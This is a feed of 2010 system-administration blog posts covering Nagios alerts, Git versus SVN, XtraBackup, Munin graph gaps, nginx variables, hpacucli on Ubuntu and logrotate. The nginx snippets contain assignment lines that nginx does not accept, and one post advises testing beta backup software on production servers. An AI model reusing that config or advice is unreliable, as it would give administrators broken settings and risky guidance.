&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_wEtkaYiEOpY/TLg4CzZwhkI/AAAAAAAAAz0/GV-vkmWtXiA/s1600/firefox_logo.png"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 128px; height: 128px;" src="http://2.bp.blogspot.com/_wEtkaYiEOpY/TLg4CzZwhkI/AAAAAAAAAz0/GV-vkmWtXiA/s320/firefox_logo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5528230163406423618" /&gt;&lt;/a&gt;
&lt;p&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/3607/"&gt;Nagios Checker&lt;/a&gt; is a Firefox extension that displays Nagios alerts in the browser's status bar. Works fine, but I'm still not certain about the merits of this solution. After all, I can get e-mail notifications in the same browser area. And it's not mobile.&lt;/p&gt;
&lt;p&gt;On the other hand, it's much more satisfying to see the green spot down there than to jump up every time an email notifier informs you of another webinar you don't want to attend.&lt;/p&gt;
&lt;h3&gt;Push e-mail&lt;/h3&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_wEtkaYiEOpY/TLg4NI7G0AI/AAAAAAAAAz8/tqN_Q6pyElA/s1600/symbian_logo.thumbnail.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 128px; height: 128px;" src="http://1.bp.blogspot.com/_wEtkaYiEOpY/TLg4NI7G0AI/AAAAAAAAAz8/tqN_Q6pyElA/s320/symbian_logo.thumbnail.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5528230340982132738" /&gt;&lt;/a&gt;
&lt;p&gt;My cell phone is Nokia E63. It's a Symbian thingy and its messaging application can monitor my Gmail account non-stop. Well, actually, I'm not sure if it's implemented as a real push e-mail, even though &lt;a href="http://en.wikipedia.org/wiki/Push_e-mail#Nokia_Symbian_Series_60"&gt;Wikipedia is dead sure&lt;/a&gt; that it is. Either way, it works, but only as long as I'm within reach of a WiFi network. Of course, it should work over GRPS/Edge/3G, too, but I am still to find how much this permanent connection would cost me.&lt;/p&gt;
&lt;h3&gt;Social networks&lt;/h3&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_wEtkaYiEOpY/TLg4Wt6PWnI/AAAAAAAAA0E/n_TsVJjlFBs/s1600/twitter_logo.png"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 64px; height: 64px;" src="http://4.bp.blogspot.com/_wEtkaYiEOpY/TLg4Wt6PWnI/AAAAAAAAA0E/n_TsVJjlFBs/s320/twitter_logo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5528230505529432690" /&gt;&lt;/a&gt;
&lt;p&gt;There's a number of articles that recommend using Twitter to deliver the notifications, but I never could grasp the value of this service and do not use it. Besides, I think anyone would be able to read the alerts? Not good.&lt;/p&gt;
&lt;h3&gt;Instant messengers&lt;/h3&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_wEtkaYiEOpY/TLg4dcirjwI/AAAAAAAAA0M/yCjBWKvqHh4/s1600/skype_logo.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 64px; height: 64px;" src="http://3.bp.blogspot.com/_wEtkaYiEOpY/TLg4dcirjwI/AAAAAAAAA0M/yCjBWKvqHh4/s320/skype_logo.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5528230621126299394" /&gt;&lt;/a&gt;
&lt;p&gt;A sound idea. But I tend to keep as far from them as possible. Even at work, where Skype is the preferred way of communication, I hardly use it. It's not as comfortable as e-mail, IMHO. It annoys and distracts me. And, finally, there are too many new messages, and the natural reaction is to neglect them.&lt;/p&gt;
&lt;h3&gt;Other ways&lt;/h3&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_wEtkaYiEOpY/TLg4kb8kItI/AAAAAAAAA0U/Z6V9NRycdTE/s1600/nabaztag.png"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 128px; height: 128px;" src="http://4.bp.blogspot.com/_wEtkaYiEOpY/TLg4kb8kItI/AAAAAAAAA0U/Z6V9NRycdTE/s320/nabaztag.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5528230741225513682" /&gt;&lt;/a&gt;
&lt;p&gt;I've found an interesting article, "Notifications and Events in Nagios 3.0" (&lt;a href="http://www.packtpub.com/article/notifications-and-events-nagios-part1"&gt;Part I&lt;/a&gt; and &lt;a href="http://www.packtpub.com/article/notifications-and-events-nagios-part2"&gt;Part II&lt;/a&gt;). It summarizes some interesting ideas and details of their implementation in Nagios. Still, it does not mention an amazing idea, which I would really like to try out. Have a look at this video:&lt;/p&gt;
&lt;object width="640" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/kA5g_TDLuDE?fs=1&amp;amp;hl=en_US"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/kA5g_TDLuDE?fs=1&amp;amp;hl=en_US" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;
&lt;p&gt;In the meanwhile, I think I should try push e-mail. Also, I think the server could trigger a desktop notification program (like &lt;tt&gt;notify-send&lt;/tt&gt;, &lt;tt&gt;kdialog&lt;/tt&gt; or, even better, a self-made Tcl/Tk pop-up notifier) remotely, via ssh. It should work well.&lt;/p&gt;
&lt;p&gt;It's a pity cell phones don't have their own IP addresses and can't be controlled via ssh...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-6706733846510874710?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/6706733846510874710/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/10/nagios-notifications.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/6706733846510874710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/6706733846510874710'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/10/nagios-notifications.html' title='Nagios notifications'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_wEtkaYiEOpY/TLg2H5n9EII/AAAAAAAAAzs/0CNFCCqnOrg/s72-c/nagios_logo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-4736560530753408994</id><published>2010-10-07T05:38:00.000-07:00</published><updated>2010-10-07T06:05:51.010-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='version control'/><category scheme='http://www.blogger.com/atom/ns#' term='git'/><category scheme='http://www.blogger.com/atom/ns#' term='svn'/><title type='text'>Git and SVN</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_wEtkaYiEOpY/TK3FoB8fvmI/AAAAAAAAAzk/Xcra4vhYC88/s1600/svn-logo.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 250px; height: 34px;" src="http://3.bp.blogspot.com/_wEtkaYiEOpY/TK3FoB8fvmI/AAAAAAAAAzk/Xcra4vhYC88/s320/svn-logo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5525289609361079906" /&gt;&lt;/a&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_wEtkaYiEOpY/TK3FI3OVDyI/AAAAAAAAAzc/U7glcFgB4OA/s1600/git-logo.png"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 71px; height: 26px;" src="http://4.bp.blogspot.com/_wEtkaYiEOpY/TK3FI3OVDyI/AAAAAAAAAzc/U7glcFgB4OA/s320/git-logo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5525289073907142434" /&gt;&lt;/a&gt;
&lt;p&gt;Very soon I will have a chance to compare the two version control systems in practice. I have to admit, though, that I'm rather biased against Git. It might have certain advantages for open-source teams, where members change often and hardly ever see each other. But I fail to understand (at least, &lt;i&gt;a priori&lt;/i&gt;) how it could be better than SVN in a traditional development model. If I understand correctly, the only difference between them is one more intermediate repository between every two team members and, consequently, &lt;b&gt;one more synchronization&lt;/b&gt; before code gets into trunk. I can believe that Git makes developers commit more often. But the changes are checked into the local repository, while synchronizations between repositories are usually made &lt;b&gt;less often&lt;/b&gt;.&lt;/p&gt;
&lt;p&gt;Another advantage of Git, local branches, which are easier to create and merge, also has a downside. They encourage the developer to experiment, but they also increase the chances of conflicts when branches are merged. Once again, the freedom of experiments might be good for open source projects, but for the teams where people work in contact it may create extra risks of project fragmentation.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-4736560530753408994?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/4736560530753408994/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/10/git-and-svn.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/4736560530753408994'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/4736560530753408994'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/10/git-and-svn.html' title='Git and SVN'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_wEtkaYiEOpY/TK3FoB8fvmI/AAAAAAAAAzk/Xcra4vhYC88/s72-c/svn-logo.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-2868216310013540931</id><published>2010-08-30T01:39:00.001-07:00</published><updated>2010-08-30T01:39:51.573-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='xtrabackup'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>XtraBackup 1.3b</title><content type='html'>&lt;p&gt;I have installed the newer version of XtraBackup, a tool for online backup of MySQL databases. The first tests show that a lot of errors were fixed in this, not yet released, version. Version 1.2 failed to make incremental backups on one of my servers, could not restore full backup on another, and segfaulted during full backup on the third one. 1.3b makes copies of all three and is able to restore them flawlessly.&lt;/p&gt;
&lt;p&gt;A 233GB database was copied in 2:15'. I highly recommend you upgrade your installation of Xtrabackup to v.1.3b and to test it on production servers. &lt;/p&gt;
&lt;p&gt;Download page at Percona.com is here: &lt;a href="http://www.percona.com/downloads/XtraBackup/XtraBackup-1.3-beta/"&gt;XtraBackup-1.3-beta&lt;/a&gt;. I usually download x86_64 binary files for Linux &lt;a href="http://www.percona.com/downloads/XtraBackup/XtraBackup-1.3-beta/Linux/binary/x86_64/"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-2868216310013540931?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/2868216310013540931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/08/xtrabackup-13b.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2868216310013540931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2868216310013540931'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/08/xtrabackup-13b.html' title='XtraBackup 1.3b'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-3211711314702963753</id><published>2010-08-23T06:56:00.000-07:00</published><updated>2010-08-24T07:02:03.085-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rrdtool'/><category scheme='http://www.blogger.com/atom/ns#' term='monitoring'/><title type='text'>Gaps in graphs generated by rrdtool</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_wEtkaYiEOpY/THPQdLvvmsI/AAAAAAAAAxY/NuN1RackEPA/s1600/rrd-gap.png"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 320px; height: 222px;" src="http://1.bp.blogspot.com/_wEtkaYiEOpY/THPQdLvvmsI/AAAAAAAAAxY/NuN1RackEPA/s320/rrd-gap.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5508975968992074434" /&gt;&lt;/a&gt;

&lt;p&gt;I sometimes see questions like: "Why are there gaps in my Munin graphs?" or "How do I get rid of holes in Nagiosgraph charts?". Some classical answers may be found in &lt;a href="http://munin-monitoring.org/wiki/faq#Q.Ihavegraphswithgapsin"&gt;Munin FAQ&lt;/a&gt; or in &lt;a href="http://manpages.ubuntu.com/manpages/karmic/man5/munin.conf.5.html"&gt;'man munin.conf'&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There is one more option, though. The problem may be caused by buggy plugins. By rounding errors in the plugins, to be precise.&lt;/p&gt;
&lt;p&gt;From my experience, the gaps are usually found in the graphs where the data is a sum of some indicators. For example, the CPU load graph. The maximum value is calculated as number-of-cpus*100%. The actual value is calculated as the sum of a number of values: the time spent by the CPU in user mode, in system mode, waiting for I/O, in idle state, etc. Under certain conditions, this sum may exceed 100%. In this case, Rrdtool will omit the measurement from the graph and there will be a hole. &lt;/p&gt;
&lt;p&gt;To get rid of the gaps, for example, in Munin's 'cpu' plugin, I replaced the lines&lt;/p&gt;
&lt;pre&gt;        PERCENT=$(($NCPU * 100))
        MAX=$(($NCPU * 100))
&lt;/pre&gt;
&lt;p&gt;with&lt;/p&gt;
&lt;pre&gt;        PERCENT=$(($NCPU * 100 + 200))
        MAX=$(($NCPU * 100 + 200))
&lt;/pre&gt;
&lt;p&gt;200 might be an overkill, but it looked a bit better in my Munin :). Of course, another option is to check the actual data for being not greater than the max value.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-3211711314702963753?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/3211711314702963753/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/08/gaps-in-graphs-generated-by-rrdtool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/3211711314702963753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/3211711314702963753'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/08/gaps-in-graphs-generated-by-rrdtool.html' title='Gaps in graphs generated by rrdtool'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_wEtkaYiEOpY/THPQdLvvmsI/AAAAAAAAAxY/NuN1RackEPA/s72-c/rrd-gap.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-279307725238118640</id><published>2010-08-09T23:33:00.000-07:00</published><updated>2010-08-09T23:57:00.266-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='nginx'/><title type='text'>Using variables in complex configurations of Nginx</title><content type='html'>&lt;p&gt;There are some situations for which Nginx config file does not provide adequate solutions. Very often, using variables, both built-in and user-defined, might help.&lt;/p&gt;
&lt;p&gt;For example, Nginx does not support complex conditions, neither as logical operations nor as nested if's. The solution is to define a new variable. If you want a certain URL rewrite to take place only if the Referer header contains "somedomain.com" OR is empty, you can write:&lt;/p&gt;
&lt;pre&gt;
$dorewrite = 'no';
if ($http_referer ~* somedomain.com) {
       set $dorewrite 'yes';
}
if ($http_referer = '') {
       set $dorewrite 'yes';
}
if ($dorewrite = 'yes') {
       rewrite ^ new-request;
}
&lt;/pre&gt;
&lt;p&gt;If you want to rewrite the URL if both conditions are true, for example, the Referer header contains "somedomain.com" AND there's a GET parameter 'id' equal to '12345', modify the snippet above using the De Morgan's law:&lt;/p&gt;
&lt;pre&gt;$dorewrite = 'yes';
if ($http_referer !~* somedomain.com) {
       set $dorewrite 'no';
}
if ($arg_ID != '12345') {
       set $dorewrite 'no';
}
if ($dorewrite = 'yes') {
       rewrite ^ new-request;
}
&lt;/pre&gt;
&lt;p&gt;Note the variable $arg_ID. This is a built-in variable. There is one such variable for every GET parameter in the request. Its name is composed of $arg_ and the name of the parameter. If you know all parameters you need to serve the request, these variables will help you to extract and pass them around.&lt;/p&gt;
&lt;p&gt;If you use complicated regular expressions which you'd like to simplify, define another variable that would contain a part of the regexp:&lt;/p&gt;
&lt;pre&gt;
if ($arg_ID ~* ^doc-number-([-a-z0-9]*)$) {
        set $newarg $1;
}
if ($dorewrite = 'yes') {
        rewrite ^ /doc/view/$newarg? break;
}
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-279307725238118640?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/279307725238118640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/08/using-variables-in-complex.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/279307725238118640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/279307725238118640'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/08/using-variables-in-complex.html' title='Using variables in complex configurations of Nginx'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-6199620332390960514</id><published>2010-07-02T00:39:00.000-07:00</published><updated>2010-07-02T01:15:45.288-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='raid'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='monitoring'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Installation of HP Array Configuration Utility CLI for Linux on Ubuntu 10.04 Lucid Lynx</title><content type='html'>&lt;p&gt;HP Array Configuration Utility CLI for Linux (hpacucli) is a useful tool that allows you to manage your HP RAID controller from command line (via ssh, that is). It can also be used to monitor the state of the disk subsystem with tools like Nagios or Zabbix. The following controllers are supported:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;     Smart Array 5312 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array 5302 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array 5304 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array 532 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array 5i Controller  &lt;/li&gt;
&lt;li&gt;     Smart Array 641 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array 642 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array 6400 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array 6400 EM Controller&lt;/li&gt;
&lt;li&gt;     Smart Array 6i Controller&lt;/li&gt;
&lt;li&gt;     Smart Array P600 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array P400 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array P400i Controller&lt;/li&gt;
&lt;li&gt;     Smart Array E200 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array E200i Controller&lt;/li&gt;
&lt;li&gt;     Smart Array P800 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array E500 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array P700m Contoller&lt;/li&gt;
&lt;li&gt;     Smart Array P410i Controller&lt;/li&gt;
&lt;li&gt;     Smart Array P411 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array P212 Controller&lt;/li&gt;
&lt;li&gt;     Smart Array P712m Contoller&lt;/li&gt;
&lt;li&gt;     Smart Array B110i SATA RAID&lt;/li&gt;
&lt;li&gt;     Smart Array P812 Controller&lt;/li&gt;
&lt;li&gt;     MSA500 Controller&lt;/li&gt;
&lt;li&gt;     MSA500 G2 Controller&lt;/li&gt;
&lt;li&gt;     MSA1000 Controller     &lt;/li&gt;
&lt;li&gt;     MSA1500 CS Controller&lt;/li&gt;
&lt;li&gt;     MSA20 Controller &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The tool is supplied on HP Support Pack CDs, but you can download a newer version from the HP site. To install &lt;tt&gt;hpacucli&lt;/tt&gt;, visit &lt;a href="http://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareDescription.jsp?lang=en&amp;cc=us&amp;prodTypeId=15351&amp;prodSeriesId=428936&amp;prodNameId=3288114&amp;swEnvOID=1097&amp;swLang=8&amp;mode=2&amp;taskId=135&amp;swItem=MTX-55a52d8ab375437cbd05b938df"&gt;this page&lt;/a&gt; and download &lt;tt&gt;hpacucli-8.50-6.0.noarch.rpm&lt;/tt&gt;. Now, copy it to the server you'll install it on. Next, we'll unpack the RPM file. You can do it using, for example, &lt;tt&gt;rpm2cpio&lt;/tt&gt;, &lt;tt&gt;rpm2tgz&lt;/tt&gt;, etc. In Ubuntu, there's a utility called &lt;tt&gt;alien&lt;/tt&gt;, that can do the same:
&lt;pre&gt;alien --to-tgz hpacucli-8.50-6.0.noarch.rpm&lt;/pre&gt;
&lt;p&gt;&lt;tt&gt;alien&lt;/tt&gt; will report some errors and warnings, but don't worry. You will now get a new file, called hpacucli-8.50.tgz.&lt;/p&gt;
&lt;pre&gt;tar -xzf hpacucli-8.50.tgz&lt;/pre&gt;
&lt;p&gt;Move the unpacked files to corresponding locations:&lt;/p&gt;
&lt;pre&gt;sudo mv opt/compaq /opt/
sudo mv usr/sbin/* /usr/sbin/&lt;/pre&gt;
Now, if you run a i386 kernel, you can run hpacucli, which is a 32-bit program. However, if your Ubuntu is a 64-bit system, you will have to allow execution of 32-bit binaries. One of the ways to do so is to install &lt;tt&gt;ia32-libs&lt;/tt&gt; package. After the installation you can run hpacucli.&lt;/p&gt;
&lt;p&gt;hpacucli gives you a prompt where you can enter commands or you can give the commands from the shell command line, like:&lt;/p&gt;
&lt;pre&gt;$ sudo hpacucli help&lt;/pre&gt;
&lt;p&gt;or&lt;/p&gt;
&lt;pre&gt;$ sudo hpacucli ctrl all show config

Smart Array P212 in Slot 1                (sn: PACCP9SYJ067  )

   array A (SAS, Unused Space: 0 MB)


      logicaldrive 1 (419.2 GB, RAID 1, OK)

      physicaldrive 1I:1:1 (port 1I:box 1:bay 1, SAS, 450 GB, OK)
      physicaldrive 1I:1:2 (port 1I:box 1:bay 2, SAS, 450 GB, OK)

   Expander 250 (WWID: 50014380065D7410, Port: 1I, Box: 1)

   Enclosure SEP (Vendor ID HP, Model DL18xG6BP) 248 (WWID: 50014380065D7423, Port: 1I, Box: 1)

   SEP (Vendor ID PMCSIERA, Model  SRC 8x6G) 249 (WWID: 50014380069159CF)&lt;/pre&gt;
&lt;p&gt;A similar command will give you even more information on the state of your RAID:&lt;/p&gt;
&lt;pre&gt;$ sudo hpacucli ctrl all show config detail&lt;/pre&gt;
&lt;p&gt;Now you can use &lt;a href="http://blog.hagk.de/wp-content/uploads/2008/10/check_hpacucli"&gt;this plugin&lt;/a&gt; to monitor the state of the array in Nagios. Besides, the information from hpacucli helped me to identify the causes of the significantly degraded performance of one of my servers (the battery of the write-cache was dead).&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-6199620332390960514?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/6199620332390960514/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/07/installation-of-hp-array-configuration.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/6199620332390960514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/6199620332390960514'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/07/installation-of-hp-array-configuration.html' title='Installation of HP Array Configuration Utility CLI for Linux on Ubuntu 10.04 Lucid Lynx'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-6189690832018152095</id><published>2010-06-29T02:06:00.000-07:00</published><updated>2010-06-30T11:37:24.065-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='logrotate'/><title type='text'>logrotate: rotating logs in multiple directories</title><content type='html'>&lt;p&gt;I've got a server with almost one hundred web-sites. Each of the sites is in its own directory and runs its own logs in &lt;tt&gt;/usr/local/www/SITENAME/logs/*.log&lt;/tt&gt;. When the logs grew up, I decided to set up logrotate. Since there were so many web-sites, my first idea was to create one configuration file for every site in &lt;tt&gt;logrotate.d&lt;/tt&gt; and leave just one line in &lt;tt&gt;logrotate.conf&lt;/tt&gt;:&lt;/p&gt;
&lt;pre&gt;include /usr/local/etc/logrotate.d&lt;/pre&gt;
&lt;p&gt; Only one hour later I understood that I can just write a path with multiple meta-characters to include ALL logs in just one line:&lt;/p&gt;
&lt;pre&gt;/usr/local/www/*/logs/*.log {
    daily
    rotate 60
    compress
    notifempty
    postrotate
          [ ! -f /var/run/nginx.pid ] || kill -USR1 `cat /var/run/nginx.pid`
    endscript

}&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-6189690832018152095?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/6189690832018152095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/06/logrotate-rotating-logs-in-multiple.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/6189690832018152095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/6189690832018152095'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/06/logrotate-rotating-logs-in-multiple.html' title='logrotate: rotating logs in multiple directories'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-955335573023997871</id><published>2010-06-24T05:57:00.000-07:00</published><updated>2010-06-24T06:44:54.063-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='pinba'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='monitoring'/><title type='text'>PINBA: PHP Is Not a Bottleneck Anymore</title><content type='html'>&lt;p&gt;Yesterday I installed &lt;a href="http://pinba.org/"&gt;Pinba&lt;/a&gt; on one of my servers. Pinba is a set of tools to monitor performance of PHP scripts. Pinba MySQL database engine runs a list of timers and automatically fills report databases. Pinba PHP extension uses two functions to open and close these timers. Besides, there are default timers, which open when a script is executed and close when it 